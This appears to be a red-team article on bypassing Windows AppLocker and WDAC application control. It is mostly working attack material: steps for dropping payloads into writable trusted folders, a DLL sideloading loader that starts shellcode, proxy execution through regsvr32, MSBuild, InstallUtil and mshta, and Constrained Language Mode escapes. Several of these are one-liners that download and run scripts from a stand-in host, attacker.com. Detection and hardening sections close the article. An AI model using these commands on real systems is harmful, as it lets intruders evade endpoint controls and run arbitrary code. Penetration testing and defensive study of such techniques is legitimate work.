AppLocker and WDAC bypass techniques for Windows application control evasion

AppLocker and WDAC Bypass Techniques

AppLocker and Windows Defender Application Control bypass methods including trusted folder abuse, LOLBAS proxy execution, and CLM escape.

Sep 29, 2026
2 min read

Introduction

AppLocker and Windows Defender Application Control (WDAC) occupy different positions in Windows application whitelisting. AppLocker is enforced in user-mode by the Application Identity service (AppIDSvc) and evaluated at process creation — it's rule-based (path, publisher, hash) and configured per-GPO. WDAC is enforced at the kernel level via Code Integrity (CI.dll) and the Windows kernel, making it significantly more resistant to bypass. Despite the architectural difference, both leave exploitable gaps.

AppLocker's weakness is path-based rules. Most enterprise deployments allow execution from C:\Windows\* and C:\Program Files\* because blocking those paths breaks legitimate software. Writable subdirectories within allowed paths — C:\Windows\Tasks, C:\Windows\Tracing, C:\Windows\Registration\CRMLog — let you drop binaries into trusted locations without admin rights. DLL rules are also disabled by default, which means any EXE that loads DLLs from attacker-controlled paths is an execution primitive.

WDAC's bypass surface is narrower but exists. COM objects, inline tasks in MSBuild, and the boundary between user-mode and kernel enforcement create gaps. Understanding which policy is active and how it was configured determines which path applies. The goal in both cases is the same: achieve arbitrary code execution while appearing to operate within the policy boundary.

Authorized Use Only

These techniques are for authorized penetration testing and red team engagements only. Application control bypass without explicit written authorization is a criminal offense under computer fraud statutes.

Impact

  • Full bypass of application whitelisting on misconfigured systems without admin rights
  • PowerShell CLM escape enabling unrestricted script execution from a locked-down session
  • DLL hijacking via AppLocker gap — unsigned DLLs loadable through allowed EXEs
  • LOLBAS proxy execution that satisfies path/publisher rules while running arbitrary code
  • Persistence through allowed paths — scheduled tasks and startup entries from writable C:\Windows\ subdirs
  • WDAC policy exfiltration for pre-engagement planning to identify exact rule gaps

Technical Details

Enumerate AppLocker Policy

Pull the effective AppLocker policy from the local machine. This shows which rule collections are active and what's allowed.

Dump effective AppLocker rules
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

For a structured view including rule conditions:

Enumerate rules with conditions
Get-AppLockerPolicy -Effective -Xml | Out-File C:\Users\Public\applocker_policy.xml

Look for:

  • Path rules with wildcards (%WINDIR%\*, %PROGRAMFILES%\*) — your trusted folder targets
  • Publisher rules — publisher name, product name, and minimum version pinned
  • Hash rules — hardest to bypass, but rare in large deployments
  • Which rule collections are enabled — Exe, Dll, Script, MSI, Appx. DLL rules are off by default.

Check whether DLL enforcement is enabled:

Check DLL rule collection
(Get-AppLockerPolicy -Effective).RuleCollections | Where-Object { $_.RuleCollectionType -eq 'Dll' }

An empty result means DLL rules are not configured — unsigned DLLs load freely through any allowed EXE.

Identify Writable Trusted Paths

Most AppLocker policies use %WINDIR%\* to allow the entire Windows directory. Enumerate writable paths within it:

Find writable subdirectories under C:\Windows
accesschk.exe -uwdq "C:\Windows" /accepteula 2>nul

Common writable paths on default Windows installations (no admin required):

C:\Windows\Tasks
C:\Windows\Tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\Tasks\Microsoft\Windows\PLA\System
C:\Windows\SysWOW64\Tasks
C:\Windows\Temp  (variable — depends on ACL hardening)

Drop a payload and execute:

Copy and execute from writable trusted path
copy payload.exe C:\Windows\Tasks\update.exe
C:\Windows\Tasks\update.exe

This works because the path C:\Windows\Tasks\update.exe matches the %WINDIR%\* AppLocker allow rule.

DLL Side-Loading Through Allowed EXEs

With DLL rules disabled (default), any executable whitelisted by AppLocker is a DLL injection vector. Find EXEs that load DLLs without full qualified paths:

Monitor DLL loads with Procmon filter
procmon.exe /Quiet /Minimized /BackingFile C:\tmp\trace.pml

Filter for Result is NAME NOT FOUND and Path ends with .dll — these are phantom DLLs the process tries to load. Drop your DLL into the search path.

A reliable static target is C:\Program Files\Common Files\microsoft shared\ — many applications search here. Compile a DLL with the expected export:

Minimal proxy DLL skeleton
// Compile: x86_64-w64-mingw32-gcc -shared -o target.dll loader.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
    if (reason == DLL_PROCESS_ATTACH)
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Shellcode, NULL, 0, NULL);
    return TRUE;
}

LOLBAS Proxy Execution

Living-off-the-land binaries bypass AppLocker publisher and path rules because they are signed Microsoft binaries in %WINDIR%\System32\. Three reliable primitives:

regsvr32 — scriptlet execution (T1218.010):

regsvr32 COM scriptlet bypass
regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

The .sct file is a COM scriptlet (XML with <script> tag) that executes JScript or VBScript. This bypasses AppLocker because regsvr32.exe is a trusted Microsoft binary.

MSBuild inline task execution (T1127.001):

MSBuild inline task
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj
MSBuild payload.csproj
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Execute">
    <ClassicTask />
  </Target>
  <UsingTask TaskName="ClassicTask" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
        using System; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;
        public class ClassicTask : Task {
          public override bool Execute() {
            System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\Users\\Public\\out.txt");
            return true;
          }
        }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

InstallUtil (T1218.004):

InstallUtil uninstall bypass
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

The /U flag triggers the Uninstall() method in a class decorated with [RunInstaller(true)] without actually installing anything.

PowerShell Constrained Language Mode Bypass

When AppLocker or WDAC is enforced, PowerShell drops to Constrained Language Mode (CLM). Confirm:

Check language mode
$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage

In CLM, Add-Type, COM objects, .NET method calls on non-approved types, and reflection are blocked. The bypass relies on the fact that assemblies loaded into the process bypass CLM — they run as full .NET, not through the PowerShell language engine.

Method 1 — PSBypassCLM via custom runspace:

Compile a C# executable (allowed by AppLocker path rule) that creates a PowerShell runspace without CLM:

CLM bypass via custom runspace
using System.Management.Automation;
using System.Management.Automation.Runspaces;

var rs = RunspaceFactory.CreateRunspace();
rs.Open();
// Runspace created outside constrained context runs in FullLanguage
var ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript("IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')");
ps.Invoke();

Method 2 — PowerShell 2.0 downgrade:

If PowerShell 2.0 engine is installed, it predates CLM and ignores application control constraints:

Downgrade to PS2 to escape CLM
powershell.exe -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"

Check if v2 is available: Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

Method 3 — .NET reflection from allowed binary:

From within a C# binary running in an allowed path, load a PS assembly via reflection and invoke without CLM constraints:

Reflective load bypasses CLM
# This works from FullLanguage mode obtained via a custom runspace
[System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("C:\Windows\Tasks\implant.dll"))
[Implant.Core]::Execute()

WDAC Policy Enumeration

Before attempting WDAC bypasses, determine what policy is active and how it's configured.

On Windows 11 / Server 2022+, citool.exe is available:

List active WDAC policies
citool.exe /list-policies

On older systems, enumerate via WMI or registry:

Enumerate WDAC policies via registry
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy"

Active policies are binary .p7 files. Convert to XML with CIPolicyParser.ps1 (from WDAC Tools) or the built-in ConvertFrom-CIPolicy:

Parse binary WDAC policy
# CIPolicyParser.ps1 from https://github.com/mattifestation/WDACTools
Import-Module .\CIPolicyParser.ps1
ConvertFrom-CIPolicy -BinaryFilePath C:\Windows\System32\CodeIntegrity\SIPolicy.p7b -XmlFilePath policy.xml

Inspect the XML for:

  • <Rules> — policy rules and option flags (audit vs. enforce mode, UMCI, HVCI)
  • <FileRules> — allowed/denied file hashes and paths
  • <Signers> — trusted signers and certificates
  • Option values: 0 = Enabled:UMCI (user-mode enforcement), 6 = Unsigned System Integrity Policy allowed

If Enabled:Audit Mode Only is present, WDAC is not blocking — it's logging. Check event log Microsoft-Windows-CodeIntegrity/Operational (Event ID 3076).

WDAC MSBuild and COM Bypass

WDAC in user-mode enforcement (UMCI) checks code signing for EXEs and DLLs, but MSBuild inline tasks compile to in-memory assemblies that are not subject to the same signing checks on unpatched configurations.

The MSBuild inline task technique (Step 4) also applies against many WDAC policies. Additionally, COM objects registered system-wide that are not covered by WDAC file rules can be instantiated:

Invoke COM object not covered by WDAC
$obj = [Activator]::CreateInstance([Type]::GetTypeFromProgID("WScript.Shell"))
$obj.Run("cmd.exe /c whoami > C:\Users\Public\out.txt", 0, $true)

COM objects bypass WDAC because code integrity checks apply to PE images, not to COM activation paths in many policy configurations.

For WDAC policies with Enabled:Allow Supplemental Policies, check if you can enumerate or influence supplemental policy loading.

Attack Tools

Full AppLocker enumeration
# Effective policy (all rule collections)
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Export XML for offline analysis
Get-AppLockerPolicy -Effective -Xml | Out-File .\applocker.xml

# Check if DLL rules are enforced
(Get-AppLockerPolicy -Effective).RuleCollections |
  Where-Object { $_.RuleCollectionType -eq 'Dll' } |
  Select-Object RuleCollectionType, EnforcementMode

# Test if a specific file would be allowed
Test-AppLockerPolicy -Path C:\Windows\Tasks\test.exe -User Everyone

# Find writable dirs in trusted paths (requires accesschk)
accesschk.exe -uwdq "C:\Windows" /accepteula 2>nul | Select-String "RW"
accesschk.exe -uwdq "C:\Program Files" /accepteula 2>nul | Select-String "RW"
regsvr32 scriptlet
regsvr32.exe /s /n /u /i:http://attacker.com/shell.sct scrobj.dll
# Or file-based
regsvr32.exe /s /n /u /i:C:\Windows\Tasks\payload.sct scrobj.dll
MSBuild inline task
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Tasks\payload.csproj
# 32-bit framework path
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Tasks\payload.csproj
InstallUtil uninstall bypass
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\payload.exe
mshta scriptlet
mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""cmd.exe"",0,True:close")
mshta.exe http://attacker.com/payload.hta
Confirm CLM is active
$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage = CLM enforced

# Downgrade to PS2 if engine available
powershell.exe -Version 2 -ExecutionPolicy Bypass -Command "whoami"

# Check PS2 availability
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
Custom runspace CLM bypass (compile as EXE, drop to trusted path)
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

class Program {
    static void Main(string[] args) {
        Runspace rs = RunspaceFactory.CreateRunspace();
        rs.Open();
        PowerShell ps = PowerShell.Create();
        ps.Runspace = rs;
        ps.AddScript(args[0]); // pass script as argument
        var results = ps.Invoke();
        foreach (var r in results) Console.WriteLine(r);
    }
}
Invoke custom runspace bypass
C:\Windows\Tasks\PSBypass.exe "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"
List policies with citool (Win11/Server2022+)
citool.exe /list-policies
citool.exe /list-policies --json
Enumerate CI policy registry
# Active policy binary locations
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy"

# Code integrity event log (audit vs enforce hits)
Get-WinEvent -LogName "Microsoft-Windows-CodeIntegrity/Operational" -MaxEvents 50 |
  Where-Object { $_.Id -in @(3076, 3077) } |
  Select-Object TimeCreated, Id, Message
# 3076 = audit block, 3077 = enforce block

# Parse binary policy to XML (WDACTools module)
# https://github.com/mattifestation/WDACTools
Import-Module .\WDACTools.psd1
ConvertFrom-CIPolicy -BinaryFilePath "C:\Windows\System32\CodeIntegrity\SIPolicy.p7b" `
                     -XmlFilePath .\SIPolicy.xml
Check WDAC enforcement mode from policy XML
[xml]$policy = Get-Content .\SIPolicy.xml
$policy.SiPolicy.Rules.Rule | Select-Object -ExpandProperty Option
# Look for: Enabled:Audit Mode Only (not blocking)
# Enabled:UMCI = user-mode code integrity active

Detection

AppLocker bypass attempts generate:

Event IDLogDescription
8003Microsoft-Windows-AppLocker/EXE and DLLEXE/DLL blocked by AppLocker
8004Microsoft-Windows-AppLocker/EXE and DLLEXE/DLL would have been blocked (audit)
8006Microsoft-Windows-AppLocker/ScriptScript blocked
8007Microsoft-Windows-AppLocker/ScriptScript would have been blocked (audit)
4688SecurityProcess creation — parent/child anomalies

WDAC violations:

Event IDLogDescription
3076Microsoft-Windows-CodeIntegrity/OperationalAudit block (policy in audit mode)
3077Microsoft-Windows-CodeIntegrity/OperationalEnforce block
3089Microsoft-Windows-CodeIntegrity/OperationalSignature validation details

Behavioral detections:

  • regsvr32.exe spawning network connections or child processes — covers the /i:http:// scriptlet path
  • MSBuild.exe executed outside Visual Studio or build pipeline context — process parent is not devenv.exe, cmd.exe from a build script, or CI agent
  • InstallUtil.exe with /U flag and no corresponding installer log
  • mshta.exe with inline VBScript arguments
  • PowerShell Script Block Logging (Event 4104) captures code executed in CLM bypass runspaces — the compiled C# creates a new runspace, but if the payload script runs PowerShell commands, 4104 fires
  • powershell.exe -Version 2 invocation — no legitimate administrative reason in most environments
  • File write events (Sysmon Event ID 11) to C:\Windows\Tasks\, C:\Windows\Tracing\, C:\Windows\Registration\CRMLog\ from non-system processes

SIEM detection for trusted-path abuse:

(EventCode=4688 OR EventCode=1) AND
NewProcessName LIKE "C:\\Windows\\Tasks\\%" OR
NewProcessName LIKE "C:\\Windows\\Tracing\\%" OR
NewProcessName LIKE "C:\\Windows\\Registration\\CRMLog\\%"

Remediation

AppLocker hardening:

  • Enable DLL rule collection — add <DllRules> to policy. This significantly increases enforcement but requires testing to avoid breaking applications
  • Replace wildcard path rules (%WINDIR%\*) with explicit publisher rules for known-good software — reduces the trusted-path attack surface
  • Audit writable directories within allowed path trees using icacls or accesschk and remove Users or Everyone write permissions on subdirectories under C:\Windows\
  • Restrict %WINDIR%\Microsoft.NET\Framework*\MSBuild.exe, InstallUtil.exe, regsvr32.exe, and mshta.exe via publisher rules to specific approved use cases or block entirely if not needed
  • Disable PowerShell v2: Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

WDAC over AppLocker:

Prefer WDAC — it is kernel-enforced and not dependent on the Application Identity service running. WDAC with HVCI (Hypervisor-Protected Code Integrity) raises the bar significantly:

  • Use ConfigCI module to build policies: New-CIPolicy, Merge-CIPolicy, ConvertFrom-CIPolicy
  • Start in audit mode (Event 3076) before enforcing to baseline the environment
  • Deploy supplemental policies for per-application exceptions rather than widening the base policy
  • Enable UMCI (user-mode code integrity) — without it, only kernel-mode code is checked
  • Block known LOLBAS via explicit deny rules in WDAC policy (Microsoft publishes a recommended block list)

PowerShell hardening:

  • Enable Script Block Logging (Event 4104): HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging = 1
  • Enable Transcription logging: captures all PS input/output to file
  • Enforce Constrained Language Mode via WDAC (not AppLocker — AppLocker CLM can be bypassed more easily)
  • Deploy Just Enough Administration (JEA) for legitimate admin PowerShell use cases

References

MITRE ATT&CK Techniques

Tools Documentation

Next Steps

On this page